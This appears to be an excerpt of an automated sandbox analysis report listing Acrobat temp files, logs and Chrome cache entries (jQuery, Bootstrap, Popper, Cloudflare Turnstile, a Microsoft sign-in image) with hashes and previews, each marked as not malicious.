Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIdf7f6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sClE0lwCH:Qw946cPbiOxDlbYnuRKIDcl
MD5:	4D92F379F5CFD2E684237C3BB81C3637
SHA1:	75B200C6EBD3DE8785E9DAA450D33F7B81FA802F
SHA-256:	DD090F29119DA4CCEE6810503E2D797D2E114D0717A43532DAB2592FD3AD1E59
SHA-512:	EA21E1421DCC7D0383D88348DE0ED97DD8E9F3245B54CA44173373EDF05794B19681587E2EEEBC3AB186453B8F3F2D7831BE59136EF2C527E15192C970128251
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .1.1.:.2.3.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9remah4_cwlf47_3g0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PDF document, version 1.6, 0 pages
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.022886554342866
Encrypted:	false
SSDEEP:	6:IngVMrexJzJT0y9VEQIFVmb/eu2g/86S1kxROOFUgEDhbDgEDhbFCSyAAO:IngVMre9T0HQIDmy9g06JX1xGUGFlX
MD5:	0863136289821408547F19403BE3F8B6
SHA1:	A5DE9A386BE1685B75C925CA7E6E0FC560E866CC
SHA-256:	F7EE154FBFA19E2EFB60096CCEFD5056F2123AE6BF128084E9EC9C46630DCE0F
SHA-512:	7265C6410EE27DBFF23139DB6A11AEB004229C7109169035A9D4E988F7926B7026746BA0C138B3FF243F6E0DF582CF50778E9B61917D71820DC339C2E863AD6C
Malicious:	false
Preview:	%PDF-1.6.%......1 0 obj.<</Pages 2 0 R/Type/Catalog>>.endobj.2 0 obj.<</Count 0/Kids[]/Type/Pages>>.endobj.3 0 obj.<<>>.endobj.xref..0 4..0000000000 65535 f..0000000016 00000 n..0000000061 00000 n..0000000107 00000 n..trailer..<</Size 4/Root 1 0 R/Info 3 0 R/ID[<9736DCFB463B404DA45A3D146C30A425><9736DCFB463B404DA45A3D146C30A425>]>>..startxref..127..%%EOF..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 11-22-57-798.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3449034508067745
Encrypted:	false
SSDEEP:	384:hT56BXFT29J1fwaBNobplKmsIvOXEV5Qih3DZFpx7wibIOxDzMDcm5mXe02zyHvY:O87
MD5:	7E928BAE27B481C056E0C2A849AD73B0
SHA1:	A89FBCC0CD534FB72598B4C0A2ACE4D42884D287
SHA-256:	27ED7A6666F0F6681CB496E99DB4B8627A9AFE4859E0E872FE320337C0CE000A
SHA-512:	E72B2D4D4657ACE39E901206875169CF0DC828250DEF87D09A3D7828F7143D7286EF8C4E582A984C417B57FA2B51E49F5F0DDEAF99DDD42ED53E59D6FCA4EF95
Malicious:	false
Preview:	SessionID=fe259e2b-3ec0-4c4f-8688-81c865f02382.1736871777810 Timestamp=2025-01-14T11:22:57:810-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=fe259e2b-3ec0-4c4f-8688-81c865f02382.1736871777810 Timestamp=2025-01-14T11:22:57:840-0500 ThreadID=7760 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=fe259e2b-3ec0-4c4f-8688-81c865f02382.1736871777810 Timestamp=2025-01-14T11:22:57:840-0500 ThreadID=7760 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=fe259e2b-3ec0-4c4f-8688-81c865f02382.1736871777810 Timestamp=2025-01-14T11:22:57:840-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=fe259e2b-3ec0-4c4f-8688-81c865f02382.1736871777810 Timestamp=2025-01-14T11:22:57:840-0500 ThreadID=7760 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.388737693353001
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rR:N
MD5:	17980368EFC04B7FBCD46427DBA121F1
SHA1:	7800B6EFFD8D6FCD7036D764C6C0022074BE8A4D
SHA-256:	D9F3AC2AE438C400DBB7FD2AA6FD510F58956CA36FB83651AE4620A9D5E4AA8A
SHA-512:	3E57CCA9CC2D6E740490FB2EB523DFE9358F5DF386B0ED270B5ED07E6BB325374EC93E32B05350E25E588E0CEEDBDF3AE901B683F5154628F3D7271A1A8B24A6
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\3d3aea66-b0fa-48e1-8717-dd957e5e5939.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\70841bd6-dd3e-47a3-8702-6a2a233debd8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 42290
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/VRbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07WWL07oXGZnYIGNPJF:tRb3mlind9i4ufFXpAXkrfUs0qWLxXGY
MD5:	9543A6C1DE815E938F6AA0F90F2EF0C6
SHA1:	62B527E0463D71548862DE000950E638F3721582
SHA-256:	8A4B4F588D79D2AF9E617936932D8264DF9017D80A68F8D39E5EA36B14D76F1D
SHA-512:	50A26B895BA1F40B2ADE59996A1A89EBAFE67CB9F7B4F3A029382B6966E75F8BAD3551D25F29391C58A7EDC206F7DAF1D07F68F5E458E3A5D02556EACA377B0D
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9c442e69-b703-4d3e-b565-af4250f1f079.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\e3e2c4e7-d827-4fe3-8114-6fb7c36b1c64.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:6DaWL07oXGZGwYIGNPJNdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:caWLxXGZGwZGh3mlind9i4ufFXpAXkru
MD5:	7867DAFF192926A49EB7516D226D452F
SHA1:	BD0B185B12DB865CEA23060A9789C6B2D814B62E
SHA-256:	C7586BA81615BBAA63DA0D81CE18C0D087D1237500C99C35239A4D3CAEED2934
SHA-512:	B556042E82056983EA6A69AEE0DAB370641437EF6239FD04676FC26EC9472C6E5EF6194885C165E3987E8019321DCD9B4A574EA7A6253AC3C9468434AEAA0C21
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

Chrome Cache Entry: 185

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmCnRCOOcfXURIFDa0JrrESEAkJkio6I4HAzRIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32012)
Category:	dropped
Size (bytes):	69597
Entropy (8bit):	5.369216080582935
Encrypted:	false
SSDEEP:	1536:qNhEyjjTikEJO4edXXe9J578go6MWX2xkjVe4c4j2ll2Ac7pK3F71QDU8CuT:Exc2yjq4j2uYnQDU8CuT
MD5:	5F48FC77CAC90C4778FA24EC9C57F37D
SHA1:	9E89D1515BC4C371B86F4CB1002FD8E377C1829F
SHA-256:	9365920887B11B33A3DC4BA28A0F93951F200341263E3B9CEFD384798E4BE398
SHA-512:	CAB8C4AFA1D8E3A8B7856EE29AE92566D44CEEAD70C8D533F2C98A976D77D0E1D314719B5C6A473789D8C6B21EBB4B89A6B0EC2E1C9C618FB1437EBC77D3A269
Malicious:	false
Preview:	/! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_e

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454), with CRLF line terminators
Category:	downloaded
Size (bytes):	553316
Entropy (8bit):	4.912195806174864
